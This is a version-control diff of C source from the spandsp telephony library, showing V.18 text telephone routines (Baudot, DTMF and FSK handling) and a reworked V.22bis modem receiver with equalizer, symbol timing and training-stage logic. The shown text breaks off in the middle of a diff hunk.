+    s = (v18_state_t *) user_data;
+    //printf("Rx byte %x\n", byte);
+    if (byte < 0)
+    {
+        /* Special conditions */
+        span_log(&s->logging, SPAN_LOG_FLOW, "V.18 signal status is %s (%d)\n", signal_status_to_str(byte), byte);
+        switch (byte)
+        {
+        case SIG_STATUS_CARRIER_UP:
+            s->consecutive_ones = 0;
+            s->bit_pos = 0;
+            s->in_progress = 0;
+            s->rx_msg_len = 0;
+            break;
+        case SIG_STATUS_CARRIER_DOWN:
+            if (s->rx_msg_len > 0)
+            {
+                /* Whatever we have to date constitutes the message */
+                s->rx_msg[s->rx_msg_len] = '\0';
+                s->put_msg(s->user_data, s->rx_msg, s->rx_msg_len);
+                s->rx_msg_len = 0;
+            }
+            break;
+        default:
+            span_log(&s->logging, SPAN_LOG_WARNING, "Unexpected special put byte value - %d!\n", byte);
+            break;
+        }
+        return;
+    }
+    if ((octet = v18_decode_baudot(s, (uint8_t) (byte & 0x1F))))
+        s->rx_msg[s->rx_msg_len++] = octet;
+    if (s->rx_msg_len >= 256)
+    {
+        s->rx_msg[s->rx_msg_len] = '\0';
+        s->put_msg(s->user_data, s->rx_msg, s->rx_msg_len);
+        s->rx_msg_len = 0;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE_NONSTD(int) v18_tx(v18_state_t *s, int16_t *amp, int max_len)
+{
+    int len;
+    int lenx;
+
+    len = tone_gen(&(s->alert_tone_gen), amp, max_len);
+    if (s->tx_signal_on)
+    {
+        switch (s->mode)
+        {
+        case V18_MODE_DTMF:
+            if (len < max_len)
+                len += dtmf_tx(&(s->dtmftx), amp, max_len - len);
+            break;
+        default:
+            if (len < max_len)
+            {
+                if ((lenx = fsk_tx(&(s->fsktx), amp + len, max_len - len)) <= 0)
+                    s->tx_signal_on = FALSE;
+                len += lenx;
+            }
+            break;
+        }
+    }
+    return len;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE_NONSTD(int) v18_rx(v18_state_t *s, const int16_t amp[], int len)
+{
+    switch (s->mode)
+    {
+    case V18_MODE_DTMF:
+        /* Apply a message timeout. */
+        s->in_progress -= len;
+        if (s->in_progress <= 0)
+            s->rx_msg_len = 0;
+        dtmf_rx(&(s->dtmfrx), amp, len);
+        break;
+    default:
+        fsk_rx(&(s->fskrx), amp, len);
+        break;
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v18_put(v18_state_t *s, const char msg[], int len)
+{
+    char buf[256 + 1];
+    int x;
+    int n;
+    int i;
+
+    /* This returns the number of characters that would not fit in the buffer.
+       The buffer will only be loaded if the whole string of digits will fit,
+       in which case zero is returned. */
+    if (len < 0)
+    {
+        if ((len = strlen(msg)) == 0)
+            return 0;
+    }
+    switch (s->mode)
+    {
+    case V18_MODE_5BIT_45:
+    case V18_MODE_5BIT_50:
+        for (i = 0;  i < len;  i++)
+        {
+            n = 0;
+            if ((x = v18_encode_baudot(s, msg[i])))
+            {
+                if ((x & 0x3E0))
+                    buf[n++] = (uint8_t) ((x >> 5) & 0x1F);
+                buf[n++] = (uint8_t) (x & 0x1F);
+                /* TODO: Deal with out of space condition */
+                if (queue_write(&s->queue.queue, (const uint8_t *) buf, n) < 0)
+                    return i;
+                s->tx_signal_on = TRUE;
+            }
+        }
+        return len;
+    case V18_MODE_DTMF:
+        break;
+    }
+    return -1;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(logging_state_t *) v18_get_logging_state(v18_state_t *s)
+{
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(v18_state_t *) v18_init(v18_state_t *s,
+                                     int caller,
+                                     int mode,
+                                     put_msg_func_t put_msg,
+                                     void *user_data)
+{
+    if (s == NULL)
+    {
+        if ((s = (v18_state_t *) malloc(sizeof(*s))) == NULL)
+            return NULL;
+    }
+    memset(s, 0, sizeof(*s));
+    s->caller = caller;
+    s->mode = mode;
+    s->put_msg = put_msg;
+    s->user_data = user_data;
+
+    switch (s->mode)
+    {
+    case V18_MODE_5BIT_45:
+        fsk_tx_init(&(s->fsktx), &preset_fsk_specs[FSK_WEITBRECHT], async_tx_get_bit, &(s->asynctx));
+        async_tx_init(&(s->asynctx), 5, ASYNC_PARITY_NONE, 2, FALSE, v18_tdd_get_async_byte, s);
+        /* Schedule an explicit shift at the start of baudot transmission */
+        s->baudot_tx_shift = 2;
+        /* TDD uses 5 bit data, no parity and 1.5 stop bits. We scan for the first stop bit, and
+           ride over the fraction. */
+        fsk_rx_init(&(s->fskrx), &preset_fsk_specs[FSK_WEITBRECHT], 7, v18_tdd_put_async_byte, s);
+        s->baudot_rx_shift = 0;
+        break;
+    case V18_MODE_5BIT_50:
+        fsk_tx_init(&(s->fsktx), &preset_fsk_specs[FSK_WEITBRECHT50], async_tx_get_bit, &(s->asynctx));
+        async_tx_init(&(s->asynctx), 5, ASYNC_PARITY_NONE, 2, FALSE, v18_tdd_get_async_byte, s);
+        /* Schedule an explicit shift at the start of baudot transmission */
+        s->baudot_tx_shift = 2;
+        /* TDD uses 5 bit data, no parity and 1.5 stop bits. We scan for the first stop bit, and
+           ride over the fraction. */
+        fsk_rx_init(&(s->fskrx), &preset_fsk_specs[FSK_WEITBRECHT50], 7, v18_tdd_put_async_byte, s);
+        s->baudot_rx_shift = 0;
+        break;
+    case V18_MODE_DTMF:
+        dtmf_tx_init(&(s->dtmftx));
+        dtmf_rx_init(&(s->dtmfrx), v18_rx_dtmf, s);
+        break;
+    case V18_MODE_EDT:
+        break;
+    case V18_MODE_BELL103:
+        break;
+    case V18_MODE_V23VIDEOTEX:
+        break;
+    case V18_MODE_V21TEXTPHONE:
+        break;
+    case V18_MODE_V18TEXTPHONE:
+        break;
+    }
+    queue_init(&s->queue.queue, 128, QUEUE_READ_ATOMIC | QUEUE_WRITE_ATOMIC);
+    return s;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v18_release(v18_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v18_free(v18_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(const char *) v18_mode_to_str(int mode)
+{
+    switch (mode)
+    {
+    case V18_MODE_NONE:
+        return "None";
+    case V18_MODE_5BIT_45:
+        return "Weitbrecht TDD (45.45bps)";
+    case V18_MODE_5BIT_50:
+        return "Weitbrecht TDD (50bps)";
+    case V18_MODE_DTMF:
+        return "DTMF";
+    case V18_MODE_EDT:
+        return "EDT";
+    case V18_MODE_BELL103:
+        return "Bell 103";
+    case V18_MODE_V23VIDEOTEX:
+        return "Videotex";
+    case V18_MODE_V21TEXTPHONE:
+        return "V.21";
+    case V18_MODE_V18TEXTPHONE:
+        return "V.18 text telephone";
+    }
+    return "???";
+}
+/*- End of function --------------------------------------------------------*/
+/*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/v22bis_rx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v22bis_rx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/v22bis_rx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,43 +22,54 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v22bis_rx.c,v 1.42 2008/09/18 14:59:30 steveu Exp $
+ * $Id: v22bis_rx.c,v 1.68 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
 
-/* THIS IS A WORK IN PROGRESS - NOT YET FUNCTIONAL! */
+/* THIS IS A WORK IN PROGRESS - It is basically functional, but it is not feature
+   complete, and doesn't reliably sync over the signal and noise level ranges it
+   should. There are some nasty inefficiencies too!
+   TODO:
+        Better noise performance
+        Retrain is incomplete
+        Rate change is not implemented
+        Remote loopback is not implemented */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <string.h>
 #include <stdio.h>
 #include <stdlib.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/logging.h"
+#include "spandsp/complex.h"
 #include "spandsp/vector_float.h"
+#include "spandsp/complex_vector_float.h"
 #include "spandsp/async.h"
 #include "spandsp/power_meter.h"
 #include "spandsp/arctan2.h"
-#include "spandsp/complex.h"
 #include "spandsp/dds.h"
 #include "spandsp/complex_filters.h"
 
 #include "spandsp/v29rx.h"
 #include "spandsp/v22bis.h"
 
-#if defined(SPANDSP_USE_FIXED_POINT)
+#include "spandsp/private/logging.h"
+#include "spandsp/private/v22bis.h"
+
+#if defined(SPANDSP_USE_FIXED_POINTx)
 #include "v22bis_rx_1200_floating_rrc.h"
 #include "v22bis_rx_2400_floating_rrc.h"
 #else
@@ -68,7 +79,9 @@
 
 #define ms_to_symbols(t)        (((t)*600)/1000)
 
+/*! The adaption rate coefficient for the equalizer */
 #define EQUALIZER_DELTA         0.25f
+/*! The number of phase shifted coefficient set for the pulse shaping/bandpass filter */
 #define PULSESHAPER_COEFF_SETS  12
 
 /*
@@ -97,20 +110,6 @@
         Descramble and output the bits represented by the decision.
 */
 
-enum
-{
-    V22BIS_TRAINING_STAGE_NORMAL_OPERATION,
-    V22BIS_TRAINING_STAGE_SYMBOL_ACQUISITION,
-    V22BIS_TRAINING_STAGE_LOG_PHASE,
-    V22BIS_TRAINING_STAGE_UNSCRAMBLED_ONES,
-    V22BIS_TRAINING_STAGE_UNSCRAMBLED_0011,
-    V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200,
-    V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_2400,
-    V22BIS_TRAINING_STAGE_WAIT_FOR_START_1,
-    V22BIS_TRAINING_STAGE_WAIT_FOR_START_2,
-    V22BIS_TRAINING_STAGE_PARKED
-};
-
 static const uint8_t space_map_v22bis[6][6] =
 {
     {11,  9,  9,  6,  6,  7},
@@ -121,58 +120,85 @@
     {15, 14, 14,  1,  1,  3}
 };
 
-float v22bis_rx_carrier_frequency(v22bis_state_t *s)
+static const uint8_t phase_steps[4] =
 {
+    1, 0, 2, 3
+};
+
+static const uint8_t ones[] =
+{
+    0, 1, 1, 2,
+    1, 2, 2, 3,
+    1, 2, 2, 3,
+    2, 3, 3, 4
+};
+
+SPAN_DECLARE(float) v22bis_rx_carrier_frequency(v22bis_state_t *s)
+{
     return dds_frequencyf(s->rx.carrier_phase_rate);
 }
 /*- End of function --------------------------------------------------------*/
 
-float v22bis_symbol_timing_correction(v22bis_state_t *s)
+SPAN_DECLARE(float) v22bis_rx_symbol_timing_correction(v22bis_state_t *s)
 {
     return (float) s->rx.total_baud_timing_correction/((float) PULSESHAPER_COEFF_SETS*40.0f/(3.0f*2.0f));
 }
 /*- End of function --------------------------------------------------------*/
 
-float v22bis_rx_signal_power(v22bis_state_t *s)
+SPAN_DECLARE(float) v22bis_rx_signal_power(v22bis_state_t *s)
 {
-    return power_meter_current_dbm0(&s->rx.rx_power);
+    return power_meter_current_dbm0(&s->rx.rx_power) + 6.34f;
 }
 /*- End of function --------------------------------------------------------*/
 
-int v22bis_equalizer_state(v22bis_state_t *s, complexf_t **coeffs)
+SPAN_DECLARE(void) v22bis_rx_signal_cutoff(v22bis_state_t *s, float cutoff)
 {
+    s->rx.carrier_on_power = (int32_t) (power_meter_level_dbm0(cutoff + 2.5f)*0.232f);
+    s->rx.carrier_off_power = (int32_t) (power_meter_level_dbm0(cutoff - 2.5f)*0.232f);
+}
+/*- End of function --------------------------------------------------------*/
+
+void v22bis_report_status_change(v22bis_state_t *s, int status)
+{
+    if (s->status_handler)
+        s->status_handler(s->status_user_data, status);
+    else if (s->put_bit)
+        s->put_bit(s->put_bit_user_data, status);
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v22bis_rx_equalizer_state(v22bis_state_t *s, complexf_t **coeffs)
+{
     *coeffs = s->rx.eq_coeff;
     return 2*V22BIS_EQUALIZER_LEN + 1;
 }
 /*- End of function --------------------------------------------------------*/
 
-static void equalizer_reset(v22bis_state_t *s)
+void v22bis_equalizer_coefficient_reset(v22bis_state_t *s)
 {
-    int i;
-
     /* Start with an equalizer based on everything being perfect */
-    for (i = 0;  i < 2*V22BIS_EQUALIZER_LEN + 1;  i++)
-        s->rx.eq_coeff[i] = complex_setf(0.0f, 0.0f);
+#if defined(SPANDSP_USE_FIXED_POINTx)
+    cvec_zeroi16(s->rx.eq_coeff, 2*V22BIS_EQUALIZER_LEN + 1);
+    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN] = complex_seti16(3*FP_FACTOR, 0*FP_FACTOR);
+    s->rx.eq_delta = 32768.0f*EQUALIZER_DELTA/(2*V22BIS_EQUALIZER_LEN + 1);
+#else
+    cvec_zerof(s->rx.eq_coeff, 2*V22BIS_EQUALIZER_LEN + 1);
     s->rx.eq_coeff[V22BIS_EQUALIZER_LEN] = complex_setf(3.0f, 0.0f);
-    for (i = 0;  i <= V22BIS_EQUALIZER_MASK;  i++)
-        s->rx.eq_buf[i] = complex_setf(0.0f, 0.0f);
+    s->rx.eq_delta = EQUALIZER_DELTA/(2*V22BIS_EQUALIZER_LEN + 1);
+#endif
+}
+/*- End of function --------------------------------------------------------*/
 
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN - 6].re = -0.02f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN - 5].re =  0.035f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN - 4].re =  0.08f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN - 3].re = -0.30f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN - 2].re = -0.37f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN - 1].re =  0.09f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN].re     =  3.19f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN + 1].re =  0.09f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN + 2].re = -0.37f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN + 3].re = -0.30f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN + 5].re =  0.035f;
-    s->rx.eq_coeff[V22BIS_EQUALIZER_LEN + 6].re = -0.02f;
-
+static void equalizer_reset(v22bis_state_t *s)
+{
+    v22bis_equalizer_coefficient_reset(s);
+#if defined(SPANDSP_USE_FIXED_POINTx)
+    cvec_zeroi16(s->rx.eq_buf, V22BIS_EQUALIZER_MASK + 1);
+#else
+    cvec_zerof(s->rx.eq_buf, V22BIS_EQUALIZER_MASK + 1);
+#endif
     s->rx.eq_put_step = 20 - 1;
     s->rx.eq_step = 0;
-    s->rx.eq_delta = EQUALIZER_DELTA/(2*V22BIS_EQUALIZER_LEN + 1);
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -237,15 +263,16 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static __inline__ void put_bit(v22bis_state_t *s, int bit)
+static __inline__ int descramble(v22bis_state_t *s, int bit)
 {
     int out_bit;
 
     bit &= 1;
 
     /* Descramble the bit */
+    out_bit = (bit ^ (s->rx.scramble_reg >> 13) ^ (s->rx.scramble_reg >> 16)) & 1;
     s->rx.scramble_reg = (s->rx.scramble_reg << 1) | bit;
-    out_bit = (bit ^ (s->rx.scramble_reg >> 15) ^ (s->rx.scramble_reg >> 18)) & 1;
+
     if (s->rx.scrambler_pattern_count >= 64)
     {
         out_bit ^= 1;
@@ -255,95 +282,70 @@
         s->rx.scrambler_pattern_count++;
     else
         s->rx.scrambler_pattern_count = 0;
+    return out_bit;
+}
+/*- End of function --------------------------------------------------------*/
 
-    s->put_bit(s->user_data, out_bit);
+static __inline__ void put_bit(v22bis_state_t *s, int bit)
+{
+    int out_bit;
+
+    /* Descramble the bit */
+    out_bit = descramble(s, bit);
+    s->put_bit(s->put_bit_user_data, out_bit);
 }
 /*- End of function --------------------------------------------------------*/
 
 static void decode_baud(v22bis_state_t *s, int nearest)
 {
-    static const uint8_t phase_steps[4] =
-    {
-        1, 0, 2, 3
-    };
     int raw_bits;
 
-    raw_bits = phase_steps[((nearest - s->rx.constellation_state) >> 2) & 3];
+    raw_bits = phase_steps[((nearest >> 2) - (s->rx.constellation_state >> 2)) & 3];
+    s->rx.constellation_state = nearest;
     /* The first two bits are the quadrant */
+    put_bit(s, raw_bits >> 1);
     put_bit(s, raw_bits);
-    put_bit(s, raw_bits >> 1);
-    if (s->bit_rate == 2400)
+    if (s->rx.sixteen_way_decisions)
     {
         /* The other two bits are the position within the quadrant */
         put_bit(s, nearest >> 1);
         put_bit(s, nearest);
     }
-    s->rx.constellation_state = nearest;
 }
 /*- End of function --------------------------------------------------------*/
 
-static __inline__ int find_quadrant(const complexf_t *z)
+static int decode_baudx(v22bis_state_t *s, int nearest)
 {
-    int b1;
-    int b2;
+    int raw_bits;
+    int out_bits;
 
-#if 0
-    /* Split along the axes, as follows:
-        1  0
-        2  3
-     */
-    b1 = (z->re <= 0.0f);
-    b2 = (z->im <= 0.0f);
-    return (b2 << 1) | (b1 ^ b2);
-#endif    
-    /* Split the space along the two diagonals, as follows:
-         \ 1 /
-        2     0
-         / 3 \
-     */
-    b1 = (z->im > z->re);
-    b2 = (z->im < -z->re);
-    return (b2 << 1) | (b1 ^ b2);
+    raw_bits = phase_steps[((nearest >> 2) - (s->rx.constellation_state >> 2)) & 3];
+    s->rx.constellation_state = nearest;
+    /* The first two bits are the quadrant */
+    out_bits = descramble(s, raw_bits >> 1);
+    out_bits = (out_bits << 1) | descramble(s, raw_bits);
+    if (s->rx.sixteen_way_decisions)
+    {
+        /* The other two bits are the position within the quadrant */
+        out_bits = (out_bits << 1) | descramble(s, nearest >> 1);
+        out_bits = (out_bits << 1) | descramble(s, nearest);
+    }
+    return out_bits;
 }
 /*- End of function --------------------------------------------------------*/
 
-static void process_half_baud(v22bis_state_t *s, const complexf_t *sample)
+static __inline__ void symbol_sync(v22bis_state_t *s)
 {
+    float p;
+    float q;
+    complexf_t zz;
     complexf_t a;
     complexf_t b;
     complexf_t c;
 
-    complexf_t z;
-    complexf_t zz;
-    const complexf_t *target;
-    float p;
-    float q;
-    int re;
-    int im;
-    int nearest;
+    /* This routine adapts the position of the half baud samples entering the equalizer. */
 
-    z.re = sample->re;
-    z.im = sample->im;
-
-    /* Add a sample to the equalizer's circular buffer, but don't calculate anything
-       at this time. */
-    s->rx.eq_buf[s->rx.eq_step] = z;
-    s->rx.eq_step = (s->rx.eq_step + 1) & V22BIS_EQUALIZER_MASK;
-
-    /* On alternate insertions we have a whole baud and must process it. */
-    if ((s->rx.baud_phase ^= 1))
-        return;
-
     /* Perform a Gardner test for baud alignment on the three most recent samples. */
-#if 0
-    p = s->rx.eq_buf[(s->rx.eq_step - 3) & V22BIS_EQUALIZER_MASK].re
-      - s->rx.eq_buf[(s->rx.eq_step - 1) & V22BIS_EQUALIZER_MASK].re;
-    p *= s->rx.eq_buf[(s->rx.eq_step - 2) & V22BIS_EQUALIZER_MASK].re;
-
-    q = s->rx.eq_buf[(s->rx.eq_step - 3) & V22BIS_EQUALIZER_MASK].im
-      - s->rx.eq_buf[(s->rx.eq_step - 1) & V22BIS_EQUALIZER_MASK].im;
-    q *= s->rx.eq_buf[(s->rx.eq_step - 2) & V22BIS_EQUALIZER_MASK].im;
-#else
     if (s->rx.sixteen_way_decisions)
     {
         p = s->rx.eq_buf[(s->rx.eq_step - 3) & V22BIS_EQUALIZER_MASK].re
@@ -356,18 +358,18 @@
     }
     else
     {
-        /* Rotate the points to the 45 degree positions, to maximise the effectiveness of the Gardner algorithm */
-        zz = complex_setf(cosf(26.57f*3.14159f/180.0f), sinf(26.57f*3.14159f/180.0f));
+        /* Rotate the points to the 45 degree positions, to maximise the effectiveness of
+           the Gardner algorithm. This is particularly significant at the start of operation
+           to pull things in quickly. */
+        zz = complex_setf(0.894427, 0.44721f);
         a = complex_mulf(&s->rx.eq_buf[(s->rx.eq_step - 3) & V22BIS_EQUALIZER_MASK], &zz);
         b = complex_mulf(&s->rx.eq_buf[(s->rx.eq_step - 2) & V22BIS_EQUALIZER_MASK], &zz);
         c = complex_mulf(&s->rx.eq_buf[(s->rx.eq_step - 1) & V22BIS_EQUALIZER_MASK], &zz);
         p = (a.re - c.re)*b.re;
         q = (a.im - c.im)*b.im;
     }
-#endif
 
-    p += q;
-    s->rx.gardner_integrate += ((p + q) > 0.0f)  ?  s->rx.gardner_step  :  -s->rx.gardner_step;
+    s->rx.gardner_integrate += (p + q > 0.0f)  ?  s->rx.gardner_step  :  -s->rx.gardner_step;
 
     if (abs(s->rx.gardner_integrate) >= 16)
     {
@@ -376,16 +378,42 @@
            when the true symbol boundary is close to a sample boundary. */
         s->rx.eq_put_step += (s->rx.gardner_integrate/16);
         s->rx.total_baud_timing_correction += (s->rx.gardner_integrate/16);
-span_log(&s->logging, SPAN_LOG_FLOW, "Gardner kick %d [total %d]\n", s->rx.gardner_integrate, s->rx.total_baud_timing_correction);
+        //span_log(&s->logging, SPAN_LOG_FLOW, "Gardner kick %d [total %d]\n", s->rx.gardner_integrate, s->rx.total_baud_timing_correction);
         if (s->rx.qam_report)
             s->rx.qam_report(s->rx.qam_user_data, NULL, NULL, s->rx.gardner_integrate);
         s->rx.gardner_integrate = 0;
     }
+}
+/*- End of function --------------------------------------------------------*/
 
+static void process_half_baud(v22bis_state_t *s, const complexf_t *sample)
+{
+    complexf_t z;
+    complexf_t zz;
+    const complexf_t *target;
+    int re;
+    int im;
+    int nearest;
+    int bitstream;
+    int raw_bits;
+
+    z.re = sample->re;
+    z.im = sample->im;
+
+    /* Add a sample to the equalizer's circular buffer, but don't calculate anything
+       at this time. */
+    s->rx.eq_buf[s->rx.eq_step] = z;
+    s->rx.eq_step = (s->rx.eq_step + 1) & V22BIS_EQUALIZER_MASK;
+
+    /* On alternate insertions we have a whole baud and must process it. */
+    if ((s->rx.baud_phase ^= 1))
+        return;
+
+    symbol_sync(s);
+
     z = equalizer_get(s);
-printf("VVV %15.5f %15.5f\n", z.re, z.im);
 
-span_log(&s->logging, SPAN_LOG_FLOW, "VVV %p %d\n", s->user_data, s->rx.training);
+    /* Find the constellation point */
     if (s->rx.sixteen_way_decisions)
     {
         re = (int) (z.re + 3.0f);
@@ -402,168 +430,268 @@
     }
     else
     {
-        zz = complex_setf(3.0f/sqrtf(10.0f), -1.0f/sqrtf(10.0f));
+        /* Rotate to 45 degrees, to make the slicing trivial */
+        zz = complex_setf(0.894427, 0.44721f);
         zz = complex_mulf(&z, &zz);
-        nearest = (find_quadrant(&zz) << 2) | 0x01;
-        printf("Trackit %15.5f %15.5f     %15.5f %15.5f   %d\n", z.re, z.im, zz.re, zz.im, nearest);
+        nearest = 0x01;
+        if (zz.re < 0.0f)
+            nearest |= 0x04;
+        if (zz.im < 0.0f)
+        {
+            nearest ^= 0x04;
+            nearest |= 0x08;
+        }
     }
+    raw_bits = 0;
 
     switch (s->rx.training)
     {
-    case V22BIS_TRAINING_STAGE_NORMAL_OPERATION:
+    case V22BIS_RX_TRAINING_STAGE_NORMAL_OPERATION:
         /* Normal operation. */
-        track_carrier(s, &z, &v22bis_constellation[nearest]);
-        tune_equalizer(s, &z, &v22bis_constellation[nearest]);
+        target = &v22bis_constellation[nearest];
+        track_carrier(s, &z, target);
+        tune_equalizer(s, &z, target);
+        raw_bits = phase_steps[((nearest >> 2) - (s->rx.constellation_state >> 2)) & 3];
+        /* TODO: detect unscrambled ones indicating a loopback request */
+
+        /* Search for the S1 signal that might be requesting a retrain */
+        if ((s->rx.last_raw_bits ^ raw_bits) == 0x3)
+        {
+            s->rx.pattern_repeats++;
+        }
+        else
+        {
+            if (s->rx.pattern_repeats >= 50  &&  (s->rx.last_raw_bits == 0x3  ||  s->rx.last_raw_bits == 0x0))
+            {
+                /* We should get a full run of 00 11 (about 60 bauds) at either modem. */
+                span_log(&s->logging, SPAN_LOG_FLOW, "+++ S1 detected (%d long)\n", s->rx.pattern_repeats);
+                span_log(&s->logging, SPAN_LOG_FLOW, "+++ Accepting a retrain request\n");
+                s->rx.pattern_repeats = 0;
+                s->rx.training_count = 0;
+                s->rx.training = V22BIS_RX_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
+                s->tx.training_count = 0;
+                s->tx.training = V22BIS_TX_TRAINING_STAGE_U0011;
+                v22bis_equalizer_coefficient_reset(s);
+                v22bis_report_status_change(s, SIG_STATUS_MODEM_RETRAIN_OCCURRED);
+            }
+            s->rx.pattern_repeats = 0;
+        }
         decode_baud(s, nearest);
-        target = &v22bis_constellation[s->rx.constellation_state];
         break;
-    case V22BIS_TRAINING_STAGE_SYMBOL_ACQUISITION:
+    case V22BIS_RX_TRAINING_STAGE_SYMBOL_ACQUISITION:
         /* Allow time for the Gardner algorithm to settle the symbol timing. */
         target = &z;
         if (++s->rx.training_count >= 40)
         {
+            /* QAM and Gardner only play nicely with heavy damping, so we need to change to
+               a slow rate of symbol timing adaption. However, it must not be so slow that it
+               cannot track the worst case timing error specified in V.22bis. This should be 0.01%,
+               but since we might be off in the opposite direction from the source, the total
+               error could be higher. */
             s->rx.gardner_step = 4;
+            s->rx.pattern_repeats = 0;
             if (s->caller)
-            {
-                s->rx.training = V22BIS_TRAINING_STAGE_UNSCRAMBLED_ONES;
-            }
+                s->rx.training = V22BIS_RX_TRAINING_STAGE_UNSCRAMBLED_ONES;
             else
-            {
-                if (s->bit_rate == 2400)
-                    s->rx.training = V22BIS_TRAINING_STAGE_UNSCRAMBLED_0011;
-                else
-                    s->rx.training = V22BIS_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
-            }
+                s->rx.training = V22BIS_RX_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
+            /* Be pessimistic and see what the handshake brings */
+            s->negotiated_bit_rate = 1200;
             break;
         }
-
-        /* QAM and Gardner only play nicely with heavy damping, so we need to change to
-           a slow rate of symbol timing adaption. However, it must not be so slow that it
-           cannot track the worst case timing error specified in V.22bis. This should be 0.01%,
-           but since we might be off in the opposite direction from the source, the total
-           error could be higher. */
+        /* Once we have pulled in the symbol timing in a coarse way, use finer
+           steps to fine tune the timing. */
         if (s->rx.training_count == 30)
             s->rx.gardner_step = 32;
         break;
-    case V22BIS_TRAINING_STAGE_UNSCRAMBLED_ONES:
-        /* The answering modem should initially receive unscrambled ones at 1200bps */
-        track_carrier(s, &z, &v22bis_constellation[nearest]);
-        target = &z;
-        if (nearest == ((s->rx.constellation_state - 4) & 0x0F))
-            s->detected_unscrambled_ones++;
-        if (nearest == ((s->rx.constellation_state + 4) & 0x0F))
-            s->detected_unscrambled_zeros++;
+    case V22BIS_RX_TRAINING_STAGE_UNSCRAMBLED_ONES:
+        /* Calling modem only */
+        /* The calling modem should initially receive unscrambled ones at 1200bps */
+        target = &v22bis_constellation[nearest];
+        track_carrier(s, &z, target);
+        raw_bits = phase_steps[((nearest >> 2) - (s->rx.constellation_state >> 2)) & 3];
         s->rx.constellation_state = nearest;
-span_log(&s->logging, SPAN_LOG_FLOW, "TWIDDLING THUMBS - %d\n", s->rx.training_count);
+        if (raw_bits != s->rx.last_raw_bits)
+            s->rx.pattern_repeats = 0;
+        else
+            s->rx.pattern_repeats++;
         if (++s->rx.training_count == ms_to_symbols(155 + 456))
         {
-            if (s->detected_unscrambled_ones >= 250  ||  s->detected_unscrambled_zeros >= 250)
-                s->detected_unscrambled_ones_or_zeros = TRUE;
+            /* After the first 155ms things should have been steady, so check if the last 456ms was
+               steady at 11 or 00. */
+            if (raw_bits == s->rx.last_raw_bits
+                &&
+                (raw_bits == 0x3  ||  raw_bits == 0x0)
+                &&
+                s->rx.pattern_repeats >= ms_to_symbols(456))
+            {
+                /* It looks like the answering machine is sending us a clean unscrambled 11 or 00 */
+                if (s->bit_rate == 2400)
+                {
+                    /* Try to establish at 2400bps */
+                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting U0011 (S1) (Caller)\n");
+                    s->tx.training = V22BIS_TX_TRAINING_STAGE_U0011;
+                    s->tx.training_count = 0;
+                }
+                else
+                {
+                    /* Only try to establish at 1200bps */
+                    span_log(&s->logging, SPAN_LOG_FLOW, "+++ starting S11 (1200) (Caller)\n");
+                    s->tx.training = V22BIS_TX_TRAINING_STAGE_S11;
+                    s->tx.training_count = 0;
+                }
+            }
+            s->rx.pattern_repeats = 0;
+            s->rx.training_count = 0;
+            s->rx.training = V22BIS_RX_TRAINING_STAGE_UNSCRAMBLED_ONES_SUSTAINING;
         }
-        if (s->rx.training_count == ms_to_symbols(155 + 457))
+        break;
+    case V22BIS_RX_TRAINING_STAGE_UNSCRAMBLED_ONES_SUSTAINING:
+        /* Calling modem only */
+        /* Wait for the end of the unscrambled ones at 1200bps */
+        target = &v22bis_constellation[nearest];
+        track_carrier(s, &z, target);
+        raw_bits = phase_steps[((nearest >> 2) - (s->rx.constellation_state >> 2)) & 3];
+        s->rx.constellation_state = nearest;
+        if (raw_bits != s->rx.last_raw_bits)
         {
-            /* We should only bother looking for the 2400bps marker if we are allowed to use
-               2400bps */
+            /* This looks like the end of the sustained initial unscrambled 11 or 00 */
+            s->tx.training_count = 0;
+            s->tx.training = V22BIS_TX_TRAINING_STAGE_TIMED_S11;
             s->rx.training_count = 0;
-            if (s->bit_rate == 2400)
-                s->rx.training = V22BIS_TRAINING_STAGE_UNSCRAMBLED_0011;
